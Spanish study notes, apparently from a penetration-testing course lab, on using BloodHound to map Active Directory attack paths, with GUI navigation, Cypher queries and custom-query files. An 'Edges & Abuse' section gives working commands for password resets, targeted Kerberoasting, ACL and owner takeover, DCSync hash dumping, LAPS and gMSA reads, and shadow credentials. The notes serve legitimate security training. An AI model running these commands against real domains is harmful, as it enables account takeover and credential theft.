BloodHound — Navigating the GUI
Área de grafos
Al iniciar sesión BloodHound ejecuta automáticamente la query Find all Domain Admins y muestra el resultado en el área de grafos. Aquí puedes mover nodos, hacer zoom con el scroll del mouse, y hacer clic en cualquier nodo para ver su información en el panel lateral.
Menú contextual al hacer clic derecho en un nodo
Set as Starting Node → establece este nodo como origen en pathfinding
Set as Ending Node → establece este nodo como destino en pathfinding
Shortest Paths to Here → encuentra todos los caminos más cortos hasta este nodo desde cualquier nodo
Shortest Paths to Here from Owned → rutas de ataque desde nodos marcados como owned
Edit Node → editar propiedades del nodo o agregar propiedades personalizadas
Mark as Owned → marcar el nodo como comprometido (útil con queries de owned)
Mark as High Value → marcar como objetivo de alto valor
Delete Node → eliminar el nodo de la base de datosMarcar nodos como Owned es importante porque habilita queries como Shortest paths to here from Owned que muestran exactamente qué rutas tienes disponibles con los accesos actuales.
Search Bar
# Buscar por nombre
peter
# Buscar por tipo de nodo
user:peter
group:domain
computer:ws01Tipos de nodo disponibles para AD: Group, Domain, Computer, User, OU, GPO, Container
Para Azure: AZApp, AZRole, AZDevice, AZGroup, AZKeyVault, AZManagementGroup, AZResourceGroup, AZServicePrincipal, AZSubscription, AZTenant, AZUser, AZVM
Pathfinding
Buscar ruta de ataque entre dos nodos:
- Buscar el nodo origen → clic derecho →
Set as Starting Node - Buscar el nodo destino → clic derecho →
Set as Ending Node - O usar el botón de pathfinding en la barra de búsqueda
Si la ruta usa un edge que quieres evitar (ejemplo: no quieres cambiar contraseñas con ForceChangePassword), usa el filtro de edges para excluirlo y BloodHound buscará un camino alternativo.
Menú superior derecho
Refresh → re-ejecuta la query anterior
Export Graph → guarda el grafo actual como JSON o PNG
Import Graph → carga un grafo exportado en JSON
Upload Data → sube archivos de SharpHound, BloodHound.py o AzureHound
Change Layout → alterna entre layout jerárquico y force-directed
Settings → ajustes de visualización y debug
About → versión y autoresAl subir datos BloodHound agrega lo nuevo pero ignora duplicados. Los zips con contraseña deben descomprimirse antes de subir.
Settings útiles
Node Collapse Threshold → colapsar nodos con una sola relación (default 5, 0 para desactivar)
Edge Label Display → cuándo mostrar etiquetas de edges (Always Display para verlos siempre)
Node Label Display → cuándo mostrar nombres de nodos
Query Debug Mode → muestra las queries Cypher en el Raw Query Box (útil para aprender)
Low Detail Mode → mejora performance en grafos grandes
Dark Mode → modo oscuroActivar Query Debug Mode es muy útil para ver qué query Cypher está ejecutando cada acción del GUI y aprender a construir las propias.
Shortcuts
CTRL → cicla entre los tres modos de display de etiquetas de nodos
Spacebar → abre el spotlight con todos los nodos del grafo actual
Backspace → vuelve al grafo anterior
S → expande/colapsa el panel de informaciónDatabase Info
Desde la pestaña Database Info puedes ver estadísticas de la base de datos y administrarla:
Clear Database → borrar todo (útil al empezar un nuevo assessment)
Clear Sessions → borrar solo las sesiones
Refresh DB Stats → actualizar estadísticas
Warming Up Database → cargar toda la DB en memoria para acelerar queriesBloodHound — Nodes
Tipos de nodos en AD
Users → usuarios que pueden autenticarse y acceder a recursos
Groups → colecciones lógicas de usuarios y computadoras con permisos asignados
Computers → dispositivos conectados al dominio
Domains → agrupación lógica de recursos con administración centralizada
GPOs → políticas que controlan configuraciones de usuarios y computadoras
OUs → contenedores para organizar y delegar administración granular
Containers → similar a OUs pero sin control administrativo, solo organizacionalSecciones del Node Info tab (comunes a todos los nodos)
Overview → información general del objeto
Node Properties → atributos por defecto del objeto
Extra Properties → atributos adicionales (más completo con --CollectAllProperties en SharpHound)
Group Membership → grupos de seguridad a los que pertenece
Local Admin Rights → hosts donde el objeto tiene admin local
Execution Rights → RDP, DCOM, SQL Admin, PSRemote sobre otros hosts
Outbound Object Control → permisos que tiene ESTE objeto sobre OTROS objetos del dominio
Inbound Control Rights → permisos que tienen OTROS objetos sobre ESTE objetoSecciones específicas por tipo de nodo
Users
Outbound Object Control y Inbound Control Rights son las más importantes para identificar rutas de ataque. Un usuario con GenericAll sobre otro usuario o grupo aparecerá aquí.
Computers
Local Admins → quién tiene admin local en esta computadora
Inbound Execution Rights → quién puede ejecutar comandos en esta computadora (RDP, DCOM, WinRM)
Outbound Execution Rights → sobre qué otras computadoras puede ejecutar este equipoGroups
Group Members → usuarios, grupos y computadoras miembros del grupo
Group Membership → en qué otros grupos está este grupo (membresía anidada)Domains
Foreign Members → usuarios o grupos de otro dominio con membresía en este dominio
Inbound Trusts → dominios que confían en este dominio
Outbound Trusts → dominios en los que este dominio confíaEn la sección Overview del dominio hay una opción Map OU Structure que muestra la estructura jerárquica completa del dominio de un vistazo.
OUs y Containers
Affecting GPOs → GPOs que se aplican a esta OU o container
Descendant Objects → todos los objetos dentro de esta OU (usuarios, grupos, computadoras)GPOs
Affected Objects → usuarios, grupos y computadoras afectados por esta GPO
Inbound Control Rights → quién tiene permisos de escritura sobre esta GPOCasos prácticos desde el GUI
Ver en qué computadoras un usuario es admin local
Buscar el usuario → Node Info → Local Admin Rights
Ver quién tiene admin local en una computadora específica
Buscar la computadora → Node Info → Local Admins
Ver quién puede conectarse por RDP a un host
Buscar la computadora → Node Info → Inbound Execution Rights → Remote Desktop Users
Ver qué GPOs afectan a una OU
Buscar la OU → Node Info → Affecting GPOs
Ver qué objetos afecta una GPO
Buscar la GPO → Node Info → Affected Objects
Ver qué OU contiene una computadora o usuario
Buscar el objeto → Node Info → Node Properties → distinguishedname El DN se lee de izquierda a derecha: el objeto primero, luego las OUs de más específica a más general.
Ver miembros foráneos de un dominio
Buscar el dominio → Node Info → Foreign Members
BloodHound — Edges & Abuse
Lista de edges en AD
- AdminTo
- MemberOf
- HasSession
- ForceChangePassword
- AddMembers
- AddSelf
- CanRDP
- CanPSRemote
- ExecuteDCOM
- SQLAdmin
- AllowedToDelegate
- DCSync
- GetChanges
- GetChangesAll
- GenericAll
- GenericWrite
- WriteOwner
- WriteSPN
- Owns
- AddKeyCredentialLink
- ReadLAPSPassword
- ReadGMSAPassword
- Contains
- AllExtendedRights
- GPLink
- AllowedToAct
- AddAllowedToAct
- WriteAccountRestrictions
Para ver cómo abusar cualquier edge: clic derecho sobre el edge en el grafo → Help → pestaña Abuse Info. También hay pestaña Opsec Considerations para ver qué tan ruidoso es el ataque.
Cómo usar pathfinding para encontrar rutas de ataque
- Buscar el nodo origen en la barra de búsqueda
- Clic derecho → Set as Starting Node
- Buscar el nodo destino
- Clic derecho → Set as Ending Node
- BloodHound muestra el camino más corto
Si una ruta usa un edge que quieres evitar, usar el filtro para excluirlo y BloodHound busca ruta alternativa.
Abuso de edges — Comandos
ForceChangePassword
El usuario atacante tiene el derecho de resetear la contraseña de la víctima sin conocer la contraseña actual. Es como si fuera el administrador de esa cuenta. Útil para tomar control de una cuenta y luego usarla para moverse lateralmente.
$SecPassword = ConvertTo-SecureString 'Password11' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\grace', $SecPassword)
$UserPassword = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity rosy -AccountPassword $UserPassword -Credential $Cred -Verbose
# Alternativa nativa (más ruidoso)
net user rosy NewPassword123! /domainCanRDP
El usuario tiene permisos para conectarse al host via Remote Desktop. Permite obtener una sesión gráfica interactiva en el host, lo que genera un TGT completo en memoria y permite usar herramientas que fallan desde WinRM.
xfreerdp /v:<IP> /u:rosy /p:NewPassword123!CanPSRemote
El usuario puede conectarse al host via WinRM (puerto 5985/5986). Permite ejecutar comandos remotamente pero con las limitaciones del Double Hop que no genera TGT.
evil-winrm -i <IP> -u rosy -p NewPassword123!
# Desde Windows
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\rosy', (ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force))
Enter-PSSession -ComputerName SRV01 -Credential $CredAdminTo
El usuario es administrador local en ese host. Permite ejecutar comandos como admin, dumpear credenciales con Mimikatz, leer la SAM, y moverse lateralmente desde ese host.
psexec.py INLANEFREIGHT/sarah:Password12@<IP>
wmiexec.py INLANEFREIGHT/sarah:Password12@<IP>
evil-winrm -i <IP> -u sarah -p Password12AddMembers
El usuario tiene permisos para agregar otros usuarios al grupo objetivo. Permite agregarse a sí mismo o a cualquier otra cuenta comprometida al grupo y heredar todos sus privilegios.
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\martha', (ConvertTo-SecureString 'Password13' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITManagers' -Members 'htb-student' -Credential $Cred -Verbose
Get-DomainGroupMember -Identity 'ITManagers'AddSelf
Similar a AddMembers pero el usuario solo puede agregarse a sí mismo al grupo, no a otros usuarios. Permite heredar los privilegios del grupo con solo una cuenta comprometida.
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\victor', (ConvertTo-SecureString 'Password14' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITManagers' -Members 'victor' -Credential $Cred -VerboseGenericAll sobre usuario
Es el derecho más amplio posible sobre un objeto. El atacante tiene control total sobre la cuenta víctima. Puede cambiar su contraseña, asignarle un SPN para Kerberoasting, quitarle la pre-autenticación para ASREPRoasting, o modificar cualquier atributo.
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\pedro', (ConvertTo-SecureString 'Password17' -AsPlainText -Force))
# Opción 1 - Cambiar contraseña (destructivo)
$NewPass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity ester -AccountPassword $NewPass -Credential $Cred -Verbose
# Opción 2 - SPN falso para Kerberoasting (menos destructivo)
Set-DomainObject -Credential $Cred -Identity ester -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:ester /nowrap
# Cleanup
Set-DomainObject -Credential $Cred -Identity ester -Clear serviceprincipalname -Verbose
# Opción 3 - Deshabilitar pre-auth para ASREPRoasting (menos destructivo)
Set-DomainObject -Credential $Cred -Identity ester -XOR @{useraccountcontrol=4194304} -Verbose
.\Rubeus.exe asreproast /user:ester /nowrapGenericAll sobre grupo
Control total sobre el grupo. Permite agregar cualquier usuario al grupo y heredar sus privilegios.
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\pedro', (ConvertTo-SecureString 'Password17' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITAdmins' -Members 'htb-student' -Credential $Cred -VerboseGenericWrite
El atacante puede modificar atributos no protegidos del objeto víctima pero no tiene control total. El abuso más común es asignar un SPN falso para hacer Kerberoasting dirigido y obtener el hash de la contraseña del usuario para crackearlo offline.
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\nicole', (ConvertTo-SecureString 'Password21' -AsPlainText -Force))
# Asignar SPN falso al objetivo
Set-DomainObject -Credential $Cred -Identity albert -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
# Kerberoastear al objetivo
.\Rubeus.exe kerberoast /user:albert /nowrap
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
# Cleanup
Set-DomainObject -Credential $Cred -Identity albert -Clear serviceprincipalname -VerboseWriteDACL
El atacante puede modificar la lista de control de acceso (ACL) del objeto víctima. Esto permite otorgarse a sí mismo o a cualquier otra cuenta cualquier derecho sobre ese objeto, incluyendo GenericAll o derechos de DCSync sobre el dominio.
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\carlos', (ConvertTo-SecureString 'Password18' -AsPlainText -Force))
# Otorgarse GenericAll sobre un usuario
Add-DomainObjectAcl -Credential $Cred -TargetIdentity juliette -PrincipalIdentity carlos -Rights All -Verbose
# Otorgarse DCSync sobre el dominio
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=inlanefreight,DC=htb" -PrincipalIdentity carlos -Rights DCSync -VerboseWriteOwner
El atacante puede cambiar el propietario del objeto víctima. El propietario de un objeto tiene control implícito sobre él. El flujo es: tomar propiedad → otorgarse GenericAll → hacer lo que quieras con el objeto.
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\indhi', (ConvertTo-SecureString 'Password20' -AsPlainText -Force))
# Paso 1 - Tomar propiedad del objeto
Set-DomainObjectOwner -Credential $Cred -Identity juliette -OwnerIdentity indhi -Verbose
# Paso 2 - Otorgarse GenericAll ahora que eres propietario
Add-DomainObjectAcl -Credential $Cred -TargetIdentity juliette -PrincipalIdentity indhi -Rights All -Verbose
# Paso 3 - Cambiar contraseña o cualquier otro abuso de GenericAll
$NewPass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity juliette -AccountPassword $NewPass -Credential $Cred -VerboseDCSync
El usuario tiene los derechos de replicación sobre el dominio (DS-Replication-Get-Changes y DS-Replication-Get-Changes-All). Esto le permite simular ser un Domain Controller y solicitar al DC que le replique los hashes de contraseñas de cualquier cuenta, incluyendo el Administrator y el KRBTGT.
# Linux
secretsdump.py INLANEFREIGHT/peter:Licey2023@<DC IP>
# Solo el Administrator
secretsdump.py -just-dc-user INLANEFREIGHT/administrator INLANEFREIGHT/peter:Licey2023@<DC IP>
# Windows con Mimikatz
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\administrator /domain:INLANEFREIGHT.HTBReadLAPSPassword
LAPS (Local Administrator Password Solution) genera contraseñas aleatorias para el administrador local de cada host y las guarda en el atributo ms-mcs-admpwd del objeto de computadora en AD. Este edge indica que el usuario puede leer ese atributo, dándole la contraseña de admin local del host.
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\cherly', (ConvertTo-SecureString 'Password24' -AsPlainText -Force))
Get-DomainComputer LAPS01 -Credential $Cred -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtimeReadGMSAPassword
Las Group Managed Service Accounts (gMSA) tienen contraseñas gestionadas automáticamente por AD. Este edge indica que el usuario puede leer esa contraseña del atributo msds-ManagedPassword, lo que permite autenticarse como esa cuenta de servicio y heredar todos sus privilegios.
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\cherly', (ConvertTo-SecureString 'Password24' -AsPlainText -Force))
Get-DomainObject svc_devadm -Credential $Cred -Properties msds-ManagedPasswordAddKeyCredentialLink — Shadow Credentials
El atacante puede modificar el atributo msDS-KeyCredentialLink del objeto víctima. Esto permite agregar una clave de certificado al objeto y luego usar esa clave para obtener un TGT de la víctima sin conocer su contraseña. Es un ataque silencioso porque no modifica la contraseña ni atributos obvios.
# Agregar credencial al objeto víctima (PyWhisker)
python3 pywhisker.py -d inlanefreight.htb -u sarah -p Password12 --target indhi --action add
# Usar el certificado generado para pedir TGT de indhi
python3 gettgtpkinit.py inlanefreight.htb/indhi -pfx-base64 <base64> indhi.ccache
export KRB5CCNAME=indhi.ccache
# Con el TGT de indhi hacer DCSync o lo que sea
secretsdump.py -k -no-pass inlanefreight.htb/indhi@<DC>AllowedToDelegate — Constrained Delegation
La cuenta tiene permisos para impersonar a cualquier usuario al autenticarse a un servicio específico. Permite pedir tickets de servicio en nombre del Administrator u otro usuario privilegiado para acceder al servicio objetivo.
# Pedir TGT para la cuenta con delegación
.\Rubeus.exe asktgt /user:ester /password:Password15 /domain:inlanefreight.htb /ptt
# Usar S4U2Self + S4U2Proxy para impersonar al Administrator
.\Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/SRV01 /ptt
# Acceder al servicio como Administrator
ls \\SRV01\c$AllExtendedRights
El usuario tiene todos los derechos extendidos sobre el objeto. Dependiendo del tipo de objeto permite cambiar contraseñas, leer atributos protegidos como LAPS o gMSA passwords, o ejecutar DCSync. Es esencialmente como tener GenericAll en términos de lo que puedes hacer.
BloodHound — Analyzing BloodHound Data
Flujo de análisis recomendado
1. Empezar con el dominio
Buscar: domain:INLANEFREIGHT.HTBMuestra el resumen del dominio: cantidad de usuarios, grupos, computadoras, OUs, GPOs y el nivel funcional. El nivel funcional da una idea de la antigüedad del entorno y posibles vulnerabilidades legacy.
2. Revisar el grupo Domain Users
Todo usuario del dominio hereda los derechos de Domain Users. Si este grupo tiene algún permiso interesante, todos los usuarios lo tienen.
Buscar: group:Domain Users
→ Outbound Object Control → Transitive Object ControlMuestra todos los objetos sobre los que Domain Users tiene control, incluyendo rutas encadenadas.
3. Buscar ruta de Domain Users a Domain Admins
Pathfinding:
Origen: DOMAIN USERS@INLANEFREIGHT.HTB
Destino: DOMAIN ADMINS@INLANEFREIGHT.HTBSi no hay ruta directa, no todos los usuarios tienen camino a DA. Si hay ruta, es una misconfiguration crítica.
4. Revisar los Domain Admins
Buscar: group:Domain Admins
→ Group Members (directos y unrolled por membresía anidada)
→ Sessions (hosts donde hay un DA conectado actualmente)Pre-Built Analytics Queries más importantes
Desde la pestaña Analysis en el GUI:
Find All Domain Admins → lista completa de DAs directos y anidados
Find Shortest Paths to Domain Admins → todas las rutas posibles hacia DA
Find Principals with DCSync Rights → cuentas que pueden hacer DCSync
Users with Foreign Domain Group Membership → usuarios en grupos de otros dominios
Groups with Foreign Domain Group Membership → grupos en grupos de otros dominios
Map Domain Trusts → todos los trusts del dominio actual
Shortest Paths to Unconstrained Delegation → rutas hacia hosts con Unconstrained Delegation
Shortest Paths from Kerberoastable Users → rutas a DA desde cuentas Kerberoasteables
Shortest Path from Owned Principals → rutas desde nodos marcados como owned
Shortest Paths to Domain Admins from Owned → ruta más corta a DA desde owned
Shortest Paths to High-Value Targets → rutas a objetivos de alto valorOwned Principals — Marcar nodos comprometidos
Cuando comprometes una cuenta o host, márcalo como owned en BloodHound para ver qué puedes hacer desde ahí:
Clic derecho en el nodo → Mark as OwnedEl nodo queda marcado con un ícono de calavera. Luego:
Analysis → Shortest Path from Owned Principals
Analysis → Shortest Paths to Domain Admins from Owned PrincipalsEsto muestra exactamente qué rutas de ataque tienes disponibles con los accesos actuales.
Encontrar sesiones activas
Las sesiones indican dónde están conectados los usuarios en el momento de la recolección. Si un DA tiene sesión en un host donde tienes admin local, puedes dumpear sus credenciales con Mimikatz.
Buscar: group:Domain Admins
→ Sessions → clic en el número → muestra el host y el usuario conectadoTambién se puede buscar sesiones desde el nodo de una computadora:
Buscar: computer:WS01
→ Sessions → usuarios conectados a ese hostVerificar derechos de un usuario sobre otro objeto
Para ver qué derechos tiene un usuario específico sobre otro objeto:
Buscar el usuario → Outbound Object ControlO usar pathfinding entre el usuario y el objeto objetivo para ver la ruta y los edges involucrados.
Para ver quién tiene derechos sobre un objeto específico:
Buscar el objeto → Inbound Control RightsVerificar GPOs que afectan un contenedor
Buscar: ou:Domain Controllers
→ Affecting GPOs → lista de GPOs aplicadas a ese contenedorSi una GPO no estándar afecta al contenedor de Domain Controllers y un usuario no privilegiado tiene escritura sobre ella, es una ruta de escalada crítica.
Para ver qué objetos afecta una GPO:
Buscar: gpo:Screensaver
→ Affected Objects → OUs, usuarios y computadoras afectadosResumen del flujo completo de análisis
1. domain:<dominio> → overview general
2. group:Domain Users → Transitive Control → derechos heredados por todos
3. Pathfinding DA Users → DA Group → ¿hay ruta directa?
4. Analysis → Shortest Paths to DA → todas las rutas posibles
5. Analysis → Find Principals with DCSync → quién puede dumpear hashes
6. Marcar nodos comprometidos como Owned
7. Analysis → Shortest Path from Owned → qué puedes hacer con lo que tienes
8. Buscar sesiones de DAs en hosts accesiblesBloodHound — Cypher Queries
Conceptos básicos de Cypher
Cypher es el lenguaje de consultas de Neo4j, similar a SQL pero diseñado para grafos. BloodHound lo usa para encontrar relaciones entre objetos de AD.
Nodos → objetos AD entre paréntesis: (n:User)
Relaciones → entre corchetes con dirección: -[r:MemberOf]->
Variables → placeholder para referenciar el objeto: n, r, g, p
Labels → tipo del nodo después de dos puntos: :User, :Group, :Computer
Propiedades → atributos del objeto entre llaves: {name:"PETER@..."}Cheat sheets:
- https://gist.github.com/jeffmcjunkin/7b4a67bb7dd0cfbfbd83768f3aa6eb12
- https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
- Cypher cheat sheet oficial: https://neo4j.com/docs/cypher-cheat-sheet/current/
Sintaxis básica
Keywords principales
MATCH → buscar patrones de nodos y relaciones
WHERE → filtrar resultados
RETURN → especificar qué devolverQueries básicas
# Todos los usuarios
MATCH (u:User) RETURN u
# Usuario específico por nombre
MATCH (u:User {name:"PETER@INLANEFREIGHT.HTB"}) RETURN u
# Usuario específico con WHERE
MATCH (u:User) WHERE u.name = "PETER@INLANEFREIGHT.HTB" RETURN u
# Grupos a los que pertenece Peter
MATCH (u:User {name:"PETER@INLANEFREIGHT.HTB"})-[r:MemberOf]->(peterGroups)
RETURN peterGroups
# Mostrar el grafo completo de la relación
MATCH p=((n:User {name:"PETER@INLANEFREIGHT.HTB"})-[r:MemberOf]->(g:Group))
RETURN pProfundidad de la relación con *
# Membresía de Peter en todos los grupos incluyendo anidados (cualquier profundidad)
MATCH p=((u:User {name:"PETER@INLANEFREIGHT.HTB"})-[r:MemberOf*1..]->(g:Group))
RETURN p
# Máximo 2 niveles de profundidad
MATCH p=(n:User)-[r1:MemberOf*1..2]->(g:Group) RETURN p*1.. significa mínimo 1 relación, máximo sin límite. *1..2 limita a 2 niveles.
Filtros avanzados
CONTAINS y regex
# Filtrar por nombre que contiene una cadena
MATCH p=(n:User)-[r1:MemberOf*1..]->(g:Group)
WHERE nodes(p)[1].name CONTAINS 'ITSECURITY'
RETURN p
# Con regex (case insensitive)
MATCH p=(n:User)-[r1:MemberOf*1..]->(g:Group)
WHERE nodes(p)[1].name =~ '(?i)itsecurity.*'
RETURN p(?i) hace la búsqueda case insensitive. .* coincide con cualquier cantidad de caracteres.
Queries de ataque más importantes
La query más poderosa — shortest path desde cualquier nodo
# Desde un usuario específico a cualquier nodo
MATCH p = shortestPath((n)-[*1..]->(c))
WHERE n.name =~ '(?i)peter.*' AND NOT c=n
RETURN p
# Todos los shortest paths (más resultados, más lento)
MATCH p = allshortestPaths((n)-[*1..]->(c))
WHERE n.name =~ '(?i)peter.*' AND NOT c=n
RETURN pÚtil cuando comprometes un usuario y quieres ver todas sus opciones de movimiento sin depender de las queries pre-construidas.
Shortest path a Domain Admins
MATCH p=shortestPath((n)-[*1..]->(m:Group {name:"DOMAIN ADMINS@INLANEFREIGHT.HTB"}))
WHERE NOT n=m
RETURN pSesiones de un usuario específico
MATCH (u:User)-[:HasSession]->(c:Computer)
WHERE toLower(u.name) CONTAINS 'julio'
RETURN u.name, c.nameDerechos de un usuario sobre objetos del dominio
MATCH p=((n:User {name:"SARAH@INLANEFREIGHT.HTB"})-[r]->(m))
RETURN pDerechos específicos sobre un usuario
MATCH (n)-[r]->(u:User {name:"NICOLE@INLANEFREIGHT.HTB"})
RETURN n.name, type(r)Queries para encontrar misconfigurations
Usuarios con descripción no vacía (buscar contraseñas)
MATCH (u:User)
WHERE u.description IS NOT NULL
RETURN u.name, u.descriptionDerechos peligrosos de Domain Users sobre computadoras
MATCH p=(g:Group)-[r:Owns|WriteDacl|GenericAll|WriteOwner|ExecuteDCOM|GenericWrite|AllowedToDelegate|ForceChangePassword]->(c:Computer)
WHERE g.name STARTS WITH "DOMAIN USERS"
RETURN pTodos los admins locales y en qué hosts
MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins
RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT, COLLECT(DISTINCT(Admins.name)) AS USERS
ORDER BY ADMIN_COUNT DESCEncontrar todos los nodos con un edge específico
# WriteSPN
MATCH p=((n)-[r:WriteSPN]->(m)) RETURN p
# GenericAll
MATCH p=((n)-[r:GenericAll]->(m)) RETURN p
# DCSync
MATCH p=((n)-[r:DCSync]->(m)) RETURN p
# Reemplaza el edge por cualquier otro de la listaDesde nodos owned hacia cualquier destino
MATCH p = allshortestPaths((n)-[*1..]->(c))
WHERE n.owned = true AND NOT c=n
RETURN pUsuarios con Unconstrained Delegation
MATCH (u:User {unconstraineddelegation:true}) RETURN u.name
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.nameUsuarios ASREPRoasteables
MATCH (u:User {dontreqpreauth:true}) RETURN u.nameUsuarios Kerberoasteables
MATCH (u:User) WHERE u.hasspn = true RETURN u.nameComputadoras donde Domain Admins tienen sesión
MATCH (g:Group {name:"DOMAIN ADMINS@INLANEFREIGHT.HTB"})-[:HasSession]->(c:Computer)
RETURN c.nameHabilitar Query Debug Mode
Settings → Query Debug Mode → ON
Muestra la query Cypher de cada acción del GUI en el Raw Query Box. Útil para aprender cómo están construidas las queries pre-construidas y adaptarlas.
Guardar Custom Queries
Ubicación del archivo
Windows: %AppData%\Roaming\bloodhound\customqueries.json
Linux: /root/.config/bloodhound/customqueries.json
/home/<usuario>/.config/bloodhound/customqueries.jsonFormato del archivo
{
"queries": [
{
"name": "Shortest Path from Peter to Anything",
"category": "Shortest Paths",
"queryList": [
{
"final": true,
"query": "MATCH p = allshortestPaths((n)-[*1..]->(c)) WHERE n.name =~ '(?i)peter.*' AND NOT c=n RETURN p",
"allowCollapse": true
}
]
}
]
}Query interactiva — seleccionar nodo owned y buscar rutas
{
"queries": [
{
"name": "Search From Owned to Anything",
"category": "Shortest Paths",
"queryList": [
{
"final": false,
"title": "Select the node to search...",
"query": "MATCH (n {owned:true}) RETURN n.name",
"props": {"name": ".*"}
},
{
"final": true,
"query": "MATCH p = allshortestPaths((n)-[*1..]->(c)) WHERE n.name = $result AND NOT c=n RETURN p",
"allowCollapse": true,
"endNode": "{}"
}
]
}
]
}La primera query lista todos los nodos marcados como owned. La segunda usa la selección ($result) para buscar todas las rutas desde ese nodo.
Después de editar el archivo hacer clic en el ícono de refresh en Custom Queries dentro del GUI.
Lectura adicional
- The Dog Whisper's Handbook: https://www.ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf